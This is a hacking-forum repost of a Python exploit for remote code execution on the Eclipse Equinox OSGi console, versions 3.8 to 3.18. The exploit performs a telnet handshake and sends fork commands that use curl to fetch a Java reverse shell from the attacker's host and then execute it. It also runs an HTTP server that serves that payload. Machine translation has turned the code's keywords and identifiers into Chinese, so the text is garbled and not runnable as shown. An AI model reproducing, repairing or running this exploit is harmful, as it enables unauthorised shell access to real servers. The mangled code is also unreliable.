H

OSGI v3.8-3.18控制台- RCE

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#!/usr/bin/python
#利用标题: [OSGI v3.8-3.18控制台RCE]
#日期: [2023-07-28]
#利用作者: [Andrzej Olchawa,Milenko Starcik,
#Visionspace Technologies GmbH]
#利用Repository:
#[https://github.com/visionspacetec/offsec-osgi-exploits.git]
#供应商homepage: [https://eclipse.dev/equinox]
#软件link: [https://archive.eclipse.org/equinox/]
#版本: [3.8-3.18]
#测试在: [Linux Kali 6.3.0-Kali1-Amd64]
#许可: [MIT]

#USAGE:
#python exploit.py----

#示例:
#python exploit.py- -rhost=192.168.0.133 - rport=1337 -lhost=192.168.0.100 \
#-lport=4444
'''
这是一个允许从
运行OSGI v3.8-3.18及更早的系统。
'''
导入argparse
导入套接字
导入系统
导入线程
从函数引入部分导入
从http.server导入basehttprequesthandler,httpserver
#握手消息的第1阶段
hernshake_stage_1=\
B'\ xff \ xfd \ x01 \ xff \ xfd'\
B'\ x03 \ xff \ xfb \ x1f \ xff'\
B'\ xfa \ x1f \ x00 \ x74 \ x00'\
B'\ x37 \ xff \ xf0 \ xff \ xfb'\
B'\ x18'
#握手消息的第2阶段
hernshake_stage_2=\
B'\ xff \ xfa \ x18 \ x00 \ x58'\
B'\ x54 \ x45 \ x52 \ x4d \ x2d'\
B'\ x32 \ x35 \ x36 \ x43 \ x4f'\
B'\ x4c \ x4f \ x52 \ xff \ xf0'
#这种尺寸的缓冲区足以处理telnet握手
buffer_size=2 * 1024
班级操纵杆(basehttprequesthandler):
'''
该类覆盖了BaseHttpRequestHandler。它提供了特定的
功能用于将有效载荷运送到目标主机。
'''
_lhost: str
_lport: int
def __init __(self,lhost,lport, args,* kwargs):
self._lhost=lhost
self._lport=LPORT
super().__ init __(args,* kwargs)
def _set_response(self):
self.send_response(200)
self.send_header('content-type','text/html')
self.end_headers()
def do_get(self):#Pylint: disable=C0103
'''
此方法负责发挥作用。
'''
打印(“交付有效载荷.”)
self._set_response()
self.wfile.write(generate_revshell_payload(generate_revshell_payload)(
self._lhost,self._lport).encode('utf-8'))
提高键盘干扰
def log_message(self,format, *args):#Pylint: disable=W0622
'''
此方法重新定义了一种内置方法来抑制
BaseHTTPRequestHandler日志消息。
'''
返回
def generate_revshell_payload(LHOST,LPORT):
'''
此功能生成Revershe外壳有效负载
在目标主机上执行。
'''
有效载荷=\
'导入java.io.ioexception;导入java.io.inputstream;' \ \
'导入java.io.outputstream;导入java.net.socket;' \ \
'类RevShell {public static void main(string [] args)'\
'引发异常{字符串host=\'%s \'; int port=%d;' \ \
'字符串cmd=\'sh \';进程p=new ProcessBuilder(cmd)。 \ \
'redirectRorstream(true).start();套接字s=new socket(host,port);' \ \
'inputStream pi=p.getInputStream(),pe=p.getErrorStream(),'\
'si=s.getInputStream(); outputStream po=p.getOutputstream(),'\
'so=s.getOutputStream(); while(!s.isclosed()){while(pi.available()'\
'0)so.Write(pi.read()); while(pe.available()0)so.write(pe.read());' \ \
'while(si.available()0)po.write(si.read()); so.flush(); po.flush();' \ \
'thread.sleep(50); try {p.exitvalue(); break;} catch(异常e){}};'' \ \
'p.destroy(); s.close();}}} \ n'%(
LHOST,LPORT)
退回有效载荷
DEF RUN_PAYLOAD_DELIVERY(LHOST,LPORT):
'''
此功能负责有效载荷交付。
'''
打印(“设置HTTP服务器进行有效载荷交付.”)
handler_class=partial(handlerclass,lhost,lport)
server_address=('',80)
httpd=httpserver(server_address,handler_class)
TRY:
打印('[+] HTTP服务器正在运行。')
httpd.serve_forever()
除了键盘Interrupt:
打印('[+]有效载荷已交付。')
除例外为ERR:#Pylint: disable=broad-except
打印('[ - ]有效载荷交付失败!')
打印(err)
最后:
httpd.server_close()
Def Generate_stage_1(LHOST):
'''
此功能生成有效载荷的阶段1。
'''
stage_1=b'fork \'curl http://%s -o ./revshell.java \'\ n'%(
lhost.encode()

返回阶段_1
Def Generate_stage_2():
'''
此功能生成有效载荷的阶段2。
'''
stage_2=b'fork \'java ./revshell.java \'\ n'
返回阶段_2
def stable_connection(Rhost,rport):
'''
此功能创建一个插座并建立连接
到目标主机。
'''
打印('[*]连接到Osgi Console .')
sock=socket.socket(socket.af_inet,socket.sock_stream)
sock.connect(((rhost,rport))
打印('[+]连接。')
返回袜子
DEF PROCESS_HANDSHAKE(SOCK):
'''
此功能处理目标主机的握手。
'''
打印('[*]处理握手.')
sock.recv(buffer_size)
袜子。
sock.recv(buffer_size)
袜子。
sock.recv(buffer_size)
sock.recv(buffer_size)
def deliver_payload(袜子,lhost):
'''
此功能执行开发的第一阶段。
它触发有效载荷交付机构到目标主机。
'''
stage_1=generate_stage_1(lhost)
打印('[*]触发有效载荷交付.')
袜子send(stage_1)
sock.recv(buffer_size)
sock.recv(buffer_size)
def execute_payload(袜子):
'''
此功能执行剥削的第二阶段。
它发送负责执行代码的有效载荷。
'''
stage_2=generate_stage_2()
打印('[*]执行有效载荷.')
袜子send(stage_2)
sock.recv(buffer_size)
sock.recv(buffer_size)
打印('[+]有效载荷执行。')
DEF漏洞利用(args,thread):
'''
此功能将多固定的有效载荷发送给目标主机。
'''
TRY:
sock=stuper_connection(args.rhost,args.rport)
process_handshake(袜子)
driver_payload(袜子,args.lhost)
#加入运行HTTP服务器的线程
#并等待有效载荷交付
thread.join()
execute_payload(袜子)
sock.close()
打印('[+]完成。')
除了socket.Error为ERR:
打印('[ - ]无法连接!')
打印(err)
sys.exit()
DEF PARSE():
'''
此功能用于解析和返回命令行参数。
'''
Parser=argparse.argumentparser(
prog='osgi 3.8-console-rce',
description='此工具将使您从'
使用“ -console”运行OSGI的系统'
“在3.8和3.18之间的版本中的选项。”,
epilog='快乐黑客!)',

parser.add_argument(' - rhost',dest='rhost',
help='远程主机',type=str,必需=true)
parser.add_argument(' - rport',dest='rport',
help='远程端口',type=int,必需=true)
parser.add_argument(' - lhost',dest='lhost',
help='本地主机',type=str,必需=false)
parser.add_argument(' - lport',dest='lport',
help='本地端口',type=int,必需=false)
parser.add_argument(' - 版本',action='版本',
版本='%(prog)s 0.1.0')
返回parser.parse_args()
def main(args):
'''
主要功能。
'''
thread=threading.thread(
target=run_payload_delivery,args=(args.lhost,args.lport))
thread.start()
利用(args,螺纹)
如果name=='__ -Main __':
主(parse())
 
后退
顶部